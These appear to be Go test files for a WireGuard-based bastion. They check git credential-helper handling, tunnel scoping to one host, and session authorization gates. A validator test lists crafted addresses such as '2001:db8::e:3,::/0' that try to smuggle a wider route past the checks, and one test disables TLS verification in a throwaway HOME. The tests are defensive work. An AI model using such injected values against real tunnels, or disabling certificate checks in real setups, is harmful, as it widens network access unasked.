// This comparison is the one place the tests pin the real forge name:
// git-setup prints the host as a literal, and the expected lines here come
// from gitForgeHost, so a change to either one fails. If git-setup is ever
// switched to print gitForgeHost, the name needs an explicit pin elsewhere.
want := []string{
`git config --global --replace-all credential.https://` + gitForgeHost + `.helper ""`,
`git config --global --add credential.https://` + gitForgeHost + `.helper "!privatae-bastion git-credential"`,
}
if strings.Join(helperLines, "\n") != strings.Join(want, "\n") {
t.Fatalf("git-setup must reset the forge's helper chain, then add its own helper:\n got %q\nwant %q", helperLines, want)
}
// Several hosts: every host's pair of lines still starts with the reset.
gitPairing(t, "g.host.privatae.ai", "127.0.0.1:7879", "s")
out = withStdio(t, "", func() { _ = cmdGitSetup() })
lines := strings.Split(out, "\n")
for i, l := range lines {
if strings.Contains(l, "--add credential.https://"+gitForgeHost+".helper") {
if i == 0 || !strings.Contains(lines[i-1], `--replace-all credential.https://`+gitForgeHost+`.helper ""`) {
t.Fatalf("a helper line without the reset right before it:\n%s", out)
}
}
}
}
// gitForge stands in for the forge at gitForgeHost: a TLS server that demands Basic
// auth with the host's token and serves a real repository through
// git-http-backend, reached through a CONNECT proxy the way the bastion's
// git proxy is. It counts the requests that carried the right token.
type gitForge struct {
proxy string
authed atomic.Int64
}
func newGitForge(t *testing.T, git, token string) *gitForge {
t.Helper()
root := t.TempDir()
if out, err := exec.Command(git, "init", "-q", "--bare", filepath.Join(root, "r.git")).CombinedOutput(); err != nil {
t.Fatalf("init: %v %s", err, out)
}
f := &gitForge{}
backend := &cgi.Handler{Path: git, Args: []string{"http-backend"},
Env: []string{"GIT_PROJECT_ROOT=" + root, "GIT_HTTP_EXPORT_ALL=1"}}
want := "Basic " + base64.StdEncoding.EncodeToString([]byte("forge:"+token))
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Header.Get("Authorization") != want {
w.Header().Set("WWW-Authenticate", `Basic realm="forge"`)
http.Error(w, "auth", http.StatusUnauthorized)
return
}
f.authed.Add(1)
backend.ServeHTTP(w, r)
}))
t.Cleanup(srv.Close)
target := strings.TrimPrefix(srv.URL, "https://")
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = ln.Close() })
go func() {
for {
c, err := ln.Accept()
if err != nil {
return
}
go func(c net.Conn) {
defer c.Close()
br := bufio.NewReader(c)
req, err := http.ReadRequest(br)
if err != nil || req.Method != http.MethodConnect || req.Host != gitForgeHost+":443" {
return
}
up, err := net.Dial("tcp", target)
if err != nil {
return
}
defer up.Close()
_, _ = io.WriteString(c, "HTTP/1.1 200 Connection established\r\n\r\n")
done := make(chan struct{}, 2)
go func() { _, _ = io.Copy(up, br); done <- struct{}{} }()
go func() { _, _ = io.Copy(c, up); done <- struct{}{} }()
<-done
}(c)
}
}()
f.proxy = "http://" + ln.Addr().String()
return f
}
// No secrets cached for git, end to end. A real git reads the forge
// through the proxy, with git-setup's lines applied and a caching helper
// (`store`) configured in each place a machine might already have one:
// before those lines, after them, and in the repository's own config. Each
// ls-remote authenticates with the host's token from the bastion's helper, and
// the token is never written to disk.
func TestNoHelperOnTheMachineStoresTheForgeToken(t *testing.T) {
git, err := exec.LookPath("git")
if err != nil {
t.Skip("git is not installed here")
}
// Before 2.46 git does not announce the authtype capability, so the
// helper answers with a username and password and a helper configured
// after git-setup's lines stores them: the residual the README states and
// TestWithoutTheAuthtypeCapabilityOnlyTheResetProtects pins.
if v, ok := gitVersion(git); !ok || v[0] < 2 || (v[0] == 2 && v[1] < 46) {
t.Skipf("git %v is older than 2.46; this test measures the authtype form", v)
}
const token = "token-from-host"
cfgDir := uiTestConfigDir(t)
var asked atomic.Int64
daemon := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
asked.Add(1)
fmt.Fprintf(w, "username=forge\npassword=%s\n", token)
}))
defer daemon.Close()
gitPairing(t, "h.host.privatae.ai", strings.TrimPrefix(daemon.URL, "http://"), "s")
setup := withStdio(t, "", func() { _ = cmdGitSetup() })
self, err := os.Executable()
if err != nil {
t.Fatal(err)
}
for _, place := range []string{"before", "after", "repository"} {
t.Run("store configured "+place, func(t *testing.T) {
forge := newGitForge(t, git, token)
home := t.TempDir()
bin := t.TempDir()
// `privatae-bastion` on git's PATH is this test binary, which
// answers as the real helper (gitHelperChildMain).
stub := "#!/bin/sh\nexec '" + self + "' \"$@\"\n"
if err := os.WriteFile(filepath.Join(bin, "privatae-bastion"), []byte(stub), 0o755); err != nil {
t.Fatal(err)
}
env := append(os.Environ(), "HOME="+home, "XDG_CONFIG_HOME="+cfgDir, "GIT_CONFIG_NOSYSTEM=1",
"GIT_CONFIG_GLOBAL="+filepath.Join(home, ".gitconfig"), "GIT_TERMINAL_PROMPT=0",
"GIT_ASKPASS=", "SSH_ASKPASS=", "PRIVATAE_TEST_GIT_HELPER_CONFIG="+cfgDir,
"PATH="+bin+string(os.PathListSeparator)+os.Getenv("PATH"))
repo := filepath.Join(home, "work")
run := func(dir string, args ...string) {
t.Helper()
cmd := exec.Command(git, args...)
cmd.Env, cmd.Dir = env, dir
if out, err := cmd.CombinedOutput(); err != nil {
t.Fatalf("git %v: %v\n%s", args, err, out)
}
}
run(home, "init", "-q", repo)
if place == "before" {
run(home, "config", "--global", "credential.helper", "store")
}
for _, l := range strings.Split(setup, "\n") {
if l = strings.TrimSpace(l); strings.HasPrefix(l, "git config --global --") && strings.Contains(l, ".helper") {
run(home, splitShellish(l)[1:]...)
}
}
switch place {
case "after":
run(home, "config", "--global", "credential.helper", "store")
case "repository":
run(repo, "config", "credential.helper", "store")
}
// The proxy line git-setup prints names the bastion's own port;
// here it is the test's proxy. Certificate checks are off only in
// this throwaway HOME, for the test server's certificate.
run(home, "config", "--global", "http.https://"+gitForgeHost+".proxy", forge.proxy)
run(home, "config", "--global", "http.https://"+gitForgeHost+".sslVerify", "false")
before := asked.Load()
for i := 0; i < 2; i++ {
run(repo, "ls-remote", "-q", "https://"+gitForgeHost+"/r.git")
}
if forge.authed.Load() == 0 {
t.Fatal("the forge never saw the host's token")
}
if asked.Load()-before < 2 {
t.Fatalf("each run must ask the host for the token, asked %d times for two", asked.Load()-before)
}
// git's store helper writes ~/.git-credentials, or
// $XDG_CONFIG_HOME/git/credentials when that exists.
for _, p := range []string{filepath.Join(home, ".git-credentials"), filepath.Join(cfgDir, "git", "credentials")} {
if raw, err := os.ReadFile(p); err == nil && strings.Contains(string(raw), token) {
t.Fatalf("a caching helper configured %s git-setup's lines stored the token in %s", place, p)
}
}
})
}
}
// What the bastion cannot close alone: a git that does not announce the
// authtype capability (older than 2.46) is given the username and password,
// and hands them to every helper in its list on approve. For it, git-setup's
// reset keeps out a helper configured before it and nothing else. This pins
// the fallback form so the residual stays what the README says it is.
func TestWithoutTheAuthtypeCapabilityOnlyTheResetProtects(t *testing.T) {
host := []byte("username=forge\npassword=t0k\n")
if got := string(gitCredentialReply(host, false)); got != "username=forge\npassword=t0k\nquit=1\n" {
t.Fatalf("fallback form: %q", got)
}
got := string(gitCredentialReply(host, true))
want := "capability[]=authtype\nauthtype=Basic\ncredential=" +
base64.StdEncoding.EncodeToString([]byte("forge:t0k")) + "\nephemeral=1\nquit=1\n"
if got != want {
t.Fatalf("authtype form:\n got %q\nwant %q", got, want)
}
if strings.Contains(got, "password=") {
t.Fatal("the authtype form must not carry the password field any helper would store")
}
if got := string(gitCredentialReply([]byte("error\n"), true)); got != "error\n" {
t.Fatalf("an answer without a credential is passed on unchanged: %q", got)
}
git, err := exec.LookPath("git")
if err != nil {
t.Skip("git is not installed here")
}
for _, after := range []bool{false, true} {
home := t.TempDir()
env := append(os.Environ(), "HOME="+home, "XDG_CONFIG_HOME="+home, "GIT_CONFIG_NOSYSTEM=1",
"GIT_CONFIG_GLOBAL="+filepath.Join(home, ".gitconfig"))
run := func(stdin string, args ...string) {
t.Helper()
cmd := exec.Command(git, args...)
cmd.Env, cmd.Stdin = env, strings.NewReader(stdin)
if out, err := cmd.CombinedOutput(); err != nil {
t.Fatalf("git %v: %v %s", args, err, out)
}
}
if !after {
run("", "config", "--global", "credential.helper", "store")
}
run("", "config", "--global", "--replace-all", "credential.https://"+gitForgeHost+".helper", "")
run("", "config", "--global", "--add", "credential.https://"+gitForgeHost+".helper", "!true")
if after {
run("", "config", "--global", "credential.helper", "store")
}
run("protocol=https\nhost="+gitForgeHost+"\n"+string(gitCredentialReply(host, false))+"\n", "credential", "approve")
_, err := os.Stat(filepath.Join(home, ".git-credentials"))
if stored := err == nil; stored != after {
t.Fatalf("store configured after=%v: stored=%v; the fallback's residual is exactly the helper configured after the reset", after, stored)
}
}
}
// gitVersion reads "git version X.Y.Z…" into [X, Y].
func gitVersion(git string) ([2]int, bool) {
out, err := exec.Command(git, "version").Output()
if err != nil {
return [2]int{}, false
}
f := strings.Fields(string(out))
if len(f) < 3 {
return [2]int{}, false
}
var v [2]int
if n, _ := fmt.Sscanf(f[2], "%d.%d", &v[0], &v[1]); n != 2 {
return [2]int{}, false
}
return v, true
}
File diff suppressed because it is too large Load Diff
+130
View File
@@ -0,0 +1,130 @@
package main
// Scoped tunnel: the WireGuard device a pairing brings up can reach only the
// paired host. Driven on a real device with an in-memory bind and an
// in-memory network stack, so nothing leaves the process.
import (
"crypto/rand"
"encoding/base64"
"net/netip"
"strings"
"testing"
"golang.zx2c4.com/wireguard/conn/bindtest"
"golang.zx2c4.com/wireguard/device"
"golang.zx2c4.com/wireguard/tun/netstack"
)
func testWGKey(t *testing.T) string {
t.Helper()
b := make([]byte, 32)
if _, err := rand.Read(b); err != nil {
t.Fatal(err)
}
return base64.StdEncoding.EncodeToString(b)
}
// testWGDevice is a WireGuard device on an in-memory tun and bind: the same
// device type runPairing builds, with no socket and no interface.
func testWGDevice(t *testing.T, tunnelIP string) *device.Device {
t.Helper()
tun, _, err := netstack.CreateNetTUN([]netip.Addr{netip.MustParseAddr(tunnelIP)}, nil, 1420)
if err != nil {
t.Fatal(err)
}
dev := device.NewDevice(tun, bindtest.NewChannelBinds()[0], device.NewLogger(device.LogLevelSilent, ""))
t.Cleanup(dev.Close)
return dev
}
// wgPeers splits a UAPI dump into its peers' lines.
func wgPeers(t *testing.T, dev *device.Device) [][]string {
t.Helper()
dump, err := dev.IpcGet()
if err != nil {
t.Fatal(err)
}
var peers [][]string
for _, line := range strings.Split(dump, "\n") {
if strings.HasPrefix(line, "public_key=") {
peers = append(peers, nil)
}
if len(peers) > 0 && line != "" {
peers[len(peers)-1] = append(peers[len(peers)-1], line)
}
}
return peers
}
// The pairing response carries the host's alias as one bare address, and the
// platform sends it as it is. A value
// that is not one host's address is refused, at every place the peer is
// configured, and nothing is set on the device.
func TestATunnelAddressThatIsNotOneHostIsRefused(t *testing.T) {
for _, bad := range []string{
"2001:db8::e:3/64", "::/0", "2001:db8::e:3/128", "0.0.0.0/0", "10.0.0.1/32",
"", " 2001:db8::e:3", "2001:db8::e:3 ", "2001:db8::e:3%eth0", "::", "0.0.0.0",
"ff02::1", "::ffff:10.0.0.1", "not-an-address", "2001:db8::e:3,::/0",
} {
if got, err := hostTunnelAllowedIP(bad); err == nil {
t.Errorf("%q must be refused, got allowed_ip %q", bad, got)
}
cfg := &Config{WGPrivateKey: testWGKey(t), EndpointPubKey: testWGKey(t),
Endpoint: "203.0.113.7:51820", HostTunnelIP: bad}
dev := testWGDevice(t, "2001:db8::a:1")
if err := configureTunnelPeer(dev, cfg); err == nil {
t.Errorf("%q: configureTunnelPeer must refuse", bad)
}
if err := swapPeer(cfg, dev, "198.51.100.9:51820", testWGKey(t)); err == nil {
t.Errorf("%q: swapPeer must refuse", bad)
}
if peers := wgPeers(t, dev); len(peers) != 0 {
t.Errorf("%q: a refused address must leave the device with no peer, it holds %v", bad, peers)
}
}
for in, want := range map[string]string{"2001:db8::e:3": "2001:db8::e:3/128", "10.0.0.1": "10.0.0.1/32"} {
if got, err := hostTunnelAllowedIP(in); err != nil || got != want {
t.Errorf("%q: want %q, got %q %v", in, want, got, err)
}
}
}
func TestTheTunnelReachesOnlyThePairedHost(t *testing.T) {
for _, hostIP := range []string{"2001:db8::e:3", "2001:db8::e:ffff", "2001:db8::1"} {
cfg := &Config{
HostName: "h.host.privatae.ai",
WGPrivateKey: testWGKey(t),
EndpointPubKey: testWGKey(t),
Endpoint: "203.0.113.7:51820",
BastionTunnelIP: "2001:db8::a:1",
HostTunnelIP: hostIP,
}
dev := testWGDevice(t, cfg.BastionTunnelIP)
if err := configureTunnelPeer(dev, cfg); err != nil {
t.Fatalf("%s: %v", hostIP, err)
}
check := func(when string) {
t.Helper()
peers := wgPeers(t, dev)
if len(peers) != 1 {
t.Fatalf("%s %s: the device must hold exactly one peer, holds %d", hostIP, when, len(peers))
}
if got := wgAllowedIPs(dev); len(got) != 1 || got[0] != hostIP+"/128" {
t.Fatalf("%s %s: the only allowed address must be the host's alias as a /128, got %v", hostIP, when, got)
}
}
check("after pairing")
// The live endpoint rotation replaces the peer; the scope must not move.
other := testWGKey(t)
if err := swapPeer(cfg, dev, "198.51.100.9:51820", other); err != nil {
t.Fatal(err)
}
check("after an endpoint rotation")
pub, _ := b64ToHex(other)
if !strings.Contains(strings.Join(wgPeers(t, dev)[0], "\n"), "public_key="+pub) {
t.Fatalf("%s: the rotation did not take the new peer", hostIP)
}
}
}
+635
View File
@@ -0,0 +1,635 @@
//go:build !windows
// Uses setupBox / writePairingState / signTerms / grantTerms / driveOp from
// anchor_test.go, the session helpers from session_test.go and the service
// runtime stub from service_test.go, all unix-only.
package main
// The README's security model, driven through the code that enforces it:
// the tunnel forwards' accept path, the session lane's handler, the
// machine-authority gates and the management lane's allowlisted op. The
// tunnel here is an in-memory network stack and every upstream a loopback
// listener the test owns; nothing reaches the live machine's network, its
// services or its processes.
import (
"context"
"crypto/ed25519"
"encoding/base64"
"encoding/json"
"fmt"
"net"
"net/http"
"net/http/httptest"
"net/netip"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
"time"
"github.com/gorilla/websocket"
"golang.zx2c4.com/wireguard/tun/netstack"
)
// ── inside the tunnel ───────────────────────────────────────────────────────
// upstreamCounter is a listener standing in for the service a forward
// splices to. A connection arriving at it is the proof that the forward let
// a tunnel connection through.
type upstreamCounter struct {
ln net.Listener
got chan struct{}
}
func newUpstream(t *testing.T, network, addr string) *upstreamCounter {
t.Helper()
ln, err := net.Listen(network, addr)
if err != nil {
t.Skipf("cannot listen on %s %s here: %v", network, addr, err)
}
u := &upstreamCounter{ln: ln, got: make(chan struct{}, 64)}
go func() {
for {
c, err := ln.Accept()
if err != nil {
return
}
u.got <- struct{}{}
_ = c.Close()
}
}()
t.Cleanup(func() { _ = ln.Close() })
return u
}
// reached reports whether a connection arrived within d.
func (u *upstreamCounter) reached(d time.Duration) bool {
select {
case <-u.got:
return true
case <-time.After(d):
return false
}
}
// tunnelDial connects to port on the in-memory stack, retrying while the
// forward under test is still coming up. The connection is closed at once:
// the accept is what the forward's wall acts on.
func tunnelDial(t *testing.T, tnet *netstack.Net, gw netip.Addr, port int) {
t.Helper()
addr := net.JoinHostPort(gw.String(), fmt.Sprint(port))
deadline := time.Now().Add(5 * time.Second)
for {
ctx, cancel := context.WithTimeout(context.Background(), time.Second)
c, err := tnet.DialContext(ctx, "tcp", addr)
cancel()
if err == nil {
// Hold it open briefly so an allowed splice has a live peer.
time.Sleep(50 * time.Millisecond)
_ = c.Close()
return
}
if time.Now().After(deadline) {
t.Fatalf("nothing listens on %s in the tunnel: %v", addr, err)
}
time.Sleep(20 * time.Millisecond)
}
}
func grantMemberCaps(t *testing.T, priv ed25519.PrivateKey, caps ...string) {
t.Helper()
future := time.Now().Add(time.Hour).UTC().Format(time.RFC3339)
terms, sig := signTerms(t, priv, grantTerms(tMember, caps, future))
if _, errOut, code := driveOp(t, tAnchor, "pairing_grant_sync", []string{terms, sig}); code != 0 {
t.Fatalf("grant %v: %d %s", caps, code, errOut)
}
}
// Inside the tunnel, only gated listeners: each inference forward, driven
// through its real accept loop on a tunnel stack, passes a connection to its
// upstream only while the pairing holds the `inference` family, re-read on
// every accept.
func TestEachInferenceForwardAdmitsOnlyThePairingThatHoldsInference(t *testing.T) {
priv := setupBox(t)
writePairingState(t, tMember, pairingPending)
grantMemberCaps(t, priv, "observe")
ollama := newUpstream(t, "tcp", "127.0.0.1:0")
llm := newUpstream(t, "tcp", "127.0.0.1:0")
pii := newUpstream(t, "tcp", "127.0.0.1:0")
t.Setenv("OLLAMA_ADDR", ollama.ln.Addr().String())
t.Setenv("PRIVATAE_LLM_ADDR", llm.ln.Addr().String())
t.Setenv("PRIVATAE_PII_ADDR", pii.ln.Addr().String())
gw := netip.MustParseAddr("2001:db8::a:1")
_, tnet, err := netstack.CreateNetTUN([]netip.Addr{gw}, nil, 1420)
if err != nil {
t.Fatal(err)
}
ctx, cancel := context.WithCancel(context.Background())
t.Cleanup(cancel)
go serveOllamaForward(ctx, tMember, tnet, gw)
go serveLLMForward(ctx, tMember, tnet, gw)
go servePIIForward(ctx, tMember, tnet, gw)
lanes := []struct {
name string
port int
up *upstreamCounter
}{{"ollama", 11434, ollama}, {"llm", llmForwardPort, llm}, {"pii", piiForwardPort, pii}}
for _, l := range lanes {
tunnelDial(t, tnet, gw, l.port)
if l.up.reached(300 * time.Millisecond) {
t.Errorf("%s forward: a pairing without the inference family reached the upstream", l.name)
}
}
grantMemberCaps(t, priv, "observe", "inference")
for _, l := range lanes {
tunnelDial(t, tnet, gw, l.port)
if !l.up.reached(3 * time.Second) {
t.Errorf("%s forward: a pairing granted inference must reach the upstream, with no restart", l.name)
}
}
}
// A service slot port admits a connection only when BOTH walls pass: the
// pairing holds the `services` family, and a reach grant for that server
// names that host. Driven through serveServiceForwards' accept loop; the
// server's socket counts what gets through.
func TestTheServiceSlotAdmitsOnlyWithTheFamilyAndAReachGrant(t *testing.T) {
if runtime.GOOS != "linux" {
t.Skip("the slot forward pins the server's socket through /proc and is linux-only")
}
priv := setupBox(t)
writePairingState(t, tMember, pairingPending)
grantMemberCaps(t, priv, "observe")
f := stubServiceRuntime(t, "docker")
if b, code := runService(forgeSpec("forge")); code != 0 {
t.Fatalf("up: %s", b)
}
f.running["privatae-svc-forge"] = true
rec, err := loadServiceRecord("forge")
if err != nil {
t.Fatal(err)
}
// The data dir's path is longer than a unix socket address may be, so the
// server's socket is bound at a short path and moved into place: the
// forward reaches it by inode through /proc (service_sock_linux.go), which
// is exactly the path it takes on a real machine.
data, _ := serviceDataDir("forge")
short, err := os.MkdirTemp("", "svc")
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = os.RemoveAll(short) })
server := newUpstream(t, "unix", filepath.Join(short, "s"))
if err := os.Rename(filepath.Join(short, "s"), filepath.Join(data, "gitea.sock")); err != nil {
t.Skipf("cannot move the socket into the data dir here: %v", err)
}
// The reach grant, signed and on disk the way service_grant_sync leaves it.
dir := t.TempDir()
_, rpriv, _ := ed25519.GenerateKey(nil)
tc, sig := signedTerms(t, rpriv, reachTermsFor(tMember, "forge", 30))
withReach := &dcnGrantFile{VerifyPubkey: base64.StdEncoding.EncodeToString(rpriv.Public().(ed25519.PublicKey)),
Stores: map[string]dcnGrantRec{}, Reach: map[string]dcnGrantRec{"1": {TermsCanonical: tc, Signature: sig}}}
noReach := &dcnGrantFile{VerifyPubkey: withReach.VerifyPubkey, Stores: map[string]dcnGrantRec{}, Reach: map[string]dcnGrantRec{}}
if err := dcnSaveFile(dir, withReach); err != nil {
t.Fatal(err)
}
gw := netip.MustParseAddr("2001:db8::a:1")
_, tnet, err := netstack.CreateNetTUN([]netip.Addr{gw}, nil, 1420)
if err != nil {
t.Fatal(err)
}
ctx, cancel := context.WithCancel(context.Background())
t.Cleanup(cancel)
go serveServiceForwards(ctx, tMember, dir, tnet, gw)
// A reach grant, but no services family: refused.
tunnelDial(t, tnet, gw, rec.TunnelPort)
if server.reached(300 * time.Millisecond) {
t.Fatal("a pairing without the services family reached the server, reach grant or not")
}
// The family, but no reach grant for this server: refused.
grantMemberCaps(t, priv, "observe", "services")
if err := dcnSaveFile(dir, noReach); err != nil {
t.Fatal(err)
}
tunnelDial(t, tnet, gw, rec.TunnelPort)
if server.reached(300 * time.Millisecond) {
t.Fatal("a pairing with no reach grant for this server reached it")
}
// Both: the connection goes through to the server's socket.
if err := dcnSaveFile(dir, withReach); err != nil {
t.Fatal(err)
}
tunnelDial(t, tnet, gw, rec.TunnelPort)
if !server.reached(3 * time.Second) {
t.Fatal("with the family and a reach grant the connection must reach the server")
}
}
// ── the session lane, through handleSessionConn ────────────────────────────
// openSession opens one session through the handler and returns what came
// back: the fake shell echoes "Iping" as O "ping" when the session opened. It
// returns only after the handler has finished, so nothing the session writes
// (its transcript, its audit line) lands after the test's dirs are removed.
func openSession(t *testing.T, env sessionEnv, self string, spec sessionSpec) map[byte][]byte {
t.Helper()
done := make(chan struct{})
up := websocket.Upgrader{}
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
defer close(done)
c, err := up.Upgrade(w, r, nil)
if err != nil {
return
}
defer c.Close()
_, first, err := c.ReadMessage()
if err != nil {
return
}
handleSessionConn(c, first, self, env)
}))
defer srv.Close()
ws, _, err := websocket.DefaultDialer.Dial("ws"+strings.TrimPrefix(srv.URL, "http"), nil)
if err != nil {
t.Fatalf("dial: %v", err)
}
sendSpec(t, ws, spec)
_ = ws.WriteMessage(websocket.BinaryMessage, []byte("Iping"))
_ = ws.SetReadDeadline(time.Now().Add(3 * time.Second))
got := map[byte][]byte{}
for {
_, data, err := ws.ReadMessage()
if err != nil || len(data) == 0 {
break
}
got[data[0]] = append(got[data[0]], data[1:]...)
if data[0] == 'X' || (data[0] == 'O' && strings.Contains(string(got['O']), "ping")) {
break
}
}
// The host hanging up ends an open session; wait for the handler to
// write its last line and return.
_ = ws.Close()
select {
case <-done:
case <-time.After(5 * time.Second):
t.Fatal("the session handler did not finish after the host hung up")
}
return got
}
func opened(got map[byte][]byte) bool { return strings.Contains(string(got['O']), "ping") }
func refusedWith(got map[byte][]byte, words string) bool {
return string(got['X']) == "126" && len(got['O']) == 0 && strings.Contains(string(got['E']), words)
}
// withSessionRoot makes the daemon read as root, or not, for the session
// lane's root wall only.
func withSessionRoot(t *testing.T, root bool) {
t.Helper()
old := sessionDaemonIsRoot
sessionDaemonIsRoot = func() bool { return root }
t.Cleanup(func() { sessionDaemonIsRoot = old })
}
// consoleApproval issues a one-use approval on this machine for purpose,
// with the factor enrolled here (the code a person types at the console).
func consoleApproval(t *testing.T, dcn, purpose string) string {
t.Helper()
raw, _ := b32decode(tSecret)
code := hotp(raw, time.Now().Unix()/stepupPeriod)
id, err := stepupIssueApproval(dcn, code, purpose)
if err != nil {
t.Fatal(err)
}
return id
}
// A terminal: on an anchored machine a host other than the anchor needs the
// `session` family in its pairing grant. The handler refuses it before any
// approval is looked at, and the approval it carried is still good after.
func TestAMemberWithoutTheSessionFamilyGetsNoTerminal(t *testing.T) {
priv := setupBox(t)
writePairingState(t, tMember, pairingPending)
grantMemberCaps(t, priv, "observe")
env, _, _ := sessionTestEnv(t, []string{sessionOpOpen}, nil)
env.HostName = tMember
withFake(t)
pub, _ := deviceInit()
_ = pinDeviceKey(pub)
approval, err := deviceSign(mgmtOpPurpose(sessionOpOpen, env.Server, []string{"sess-member-1"}), time.Minute)
if err != nil {
t.Fatal(err)
}
got := openSession(t, env, tMember, sessionSpec{Op: sessionOpOpen, SessionID: "sess-member-1", Approval: approval})
if !refusedWith(got, "family 'session', not in this pairing's caps") {
t.Fatalf("a member without the session family must be refused by the family wall: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
}
if _, err := os.Stat(filepath.Join(env.CtxRoot, "sessions", "sess-member-1.log")); err == nil {
t.Fatal("a refused terminal must leave no transcript")
}
grantMemberCaps(t, priv, "observe", "session")
if got := openSession(t, env, tMember, sessionSpec{Op: sessionOpOpen, SessionID: "sess-member-1", Approval: approval}); !opened(got) {
t.Fatalf("with the family granted the same approval must open the terminal: X=%q E=%q", got['X'], got['E'])
}
}
// On an anchored machine each terminal needs an approval bound to that one
// session and used once.
func TestAnAnchoredTerminalApprovalOpensOneSessionOnce(t *testing.T) {
setupBox(t)
env, _, _ := sessionTestEnv(t, []string{sessionOpOpen}, nil)
env.HostName = tAnchor
withFake(t)
pub, _ := deviceInit()
_ = pinDeviceKey(pub)
approval, err := deviceSign(mgmtOpPurpose(sessionOpOpen, env.Server, []string{"sess-bound-A"}), time.Minute)
if err != nil {
t.Fatal(err)
}
if got := openSession(t, env, tAnchor, sessionSpec{Op: sessionOpOpen, SessionID: "sess-bound-B", Approval: approval}); !refusedWith(got, "purpose mismatch") {
t.Fatalf("an approval for one session must not open another: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
}
if got := openSession(t, env, tAnchor, sessionSpec{Op: sessionOpOpen, SessionID: "sess-bound-A", Approval: approval}); !opened(got) {
t.Fatalf("the approval must open the session it names: X=%q E=%q", got['X'], got['E'])
}
if got := openSession(t, env, tAnchor, sessionSpec{Op: sessionOpOpen, SessionID: "sess-bound-A", Approval: approval}); !refusedWith(got, "already used") {
t.Fatalf("a spent approval must not open the session a second time: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
}
}
// A root terminal needs the bastion to run as root. Everything else in
// order — the factor enrolled here and a code entered for this session — a
// daemon that is not root refuses, and spends nothing: the same approval
// opens the session once the daemon is root.
func TestARootTerminalNeedsTheBastionToRunAsRoot(t *testing.T) {
env, _, _ := sessionTestEnv(t, []string{sessionOpOpen, sessionOpRoot}, nil)
enrollFactor(t, env.DcnDir)
withFake(t)
p, _ := purposeForSessionRoot(env.Server, "sess-root-euid")
approval := consoleApproval(t, env.DcnDir, p)
withSessionRoot(t, false)
got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-euid", Approval: approval})
if !refusedWith(got, "needs the bastion to run as root") {
t.Fatalf("a root terminal on a daemon that is not root must be refused for that reason: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
}
withSessionRoot(t, true)
if got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-euid", Approval: approval}); !opened(got) {
t.Fatalf("the same approval must open the root terminal on a root daemon: X=%q E=%q", got['X'], got['E'])
}
}
// An approval device cannot approve a root terminal, with or without a
// factor enrolled here: root is approved with a code entered on this machine.
func TestADeviceCannotApproveARootTerminal(t *testing.T) {
withSessionRoot(t, true)
env, _, _ := sessionTestEnv(t, []string{sessionOpOpen, sessionOpRoot}, nil)
withFake(t)
uiTestConfigDir(t)
pub, _ := deviceInit()
_ = pinDeviceKey(pub)
p, _ := purposeForSessionRoot(env.Server, "sess-root-dev1")
dev, err := deviceSign(p, time.Minute)
if err != nil {
t.Fatal(err)
}
if got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-dev1", Approval: dev}); !refusedWith(got, "second factor enrolled on this machine") {
t.Fatalf("with only a device pinned, root must be refused: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
}
enrollFactor(t, env.DcnDir)
if got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-dev1", Approval: dev}); !refusedWith(got, "not from a device") {
t.Fatalf("with a factor enrolled, a device approval must still not open root: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
}
}
// A root approval opens the one session it was entered for, once.
func TestARootApprovalOpensOneSessionOnce(t *testing.T) {
withSessionRoot(t, true)
env, _, _ := sessionTestEnv(t, []string{sessionOpOpen, sessionOpRoot}, nil)
enrollFactor(t, env.DcnDir)
withFake(t)
p, _ := purposeForSessionRoot(env.Server, "sess-root-one")
approval := consoleApproval(t, env.DcnDir, p)
if got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-two", Approval: approval}); !refusedWith(got, "purpose mismatch") {
t.Fatalf("a root approval must not open another session: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
}
if got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-one", Approval: approval}); !opened(got) {
t.Fatalf("the root approval must open its own session: X=%q E=%q", got['X'], got['E'])
}
if got := openSession(t, env, "", sessionSpec{Op: sessionOpRoot, SessionID: "sess-root-one", Approval: approval}); !refusedWith(got, "already used") {
t.Fatalf("a spent root approval must not open anything again: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
}
}
// Grants are verified here: the key a session frame offers is pinned by the
// handler the first time, and a later frame offering another key is refused
// with the pin kept.
func TestTheSessionHandlerPinsTheOfferedKey(t *testing.T) {
env, _, _ := sessionTestEnv(t, []string{sessionOpOpen}, nil)
env.DcnDir = t.TempDir() // no key pinned yet
withFake(t)
pub1, _, _ := ed25519.GenerateKey(nil)
k1 := base64.StdEncoding.EncodeToString(pub1)
if got := openSession(t, env, "", sessionSpec{Op: sessionOpOpen, SessionID: "sess-pin-one", VerifyPubkey: k1}); !opened(got) {
t.Fatalf("the first key offered must open and pin: X=%q E=%q", got['X'], got['E'])
}
if f, err := dcnLoadFile(env.DcnDir); err != nil || f.VerifyPubkey != k1 {
t.Fatalf("the handler must pin the offered key: %v %+v", err, f)
}
pub2, _, _ := ed25519.GenerateKey(nil)
k2 := base64.StdEncoding.EncodeToString(pub2)
if got := openSession(t, env, "", sessionSpec{Op: sessionOpOpen, SessionID: "sess-pin-two", VerifyPubkey: k2}); !refusedWith(got, "mismatch") {
t.Fatalf("a different key must be refused: X=%q E=%q O=%q", got['X'], got['E'], got['O'])
}
if f, _ := dcnLoadFile(env.DcnDir); f.VerifyPubkey != k1 {
t.Fatalf("a refused key must not replace the pin: %q", f.VerifyPubkey)
}
}
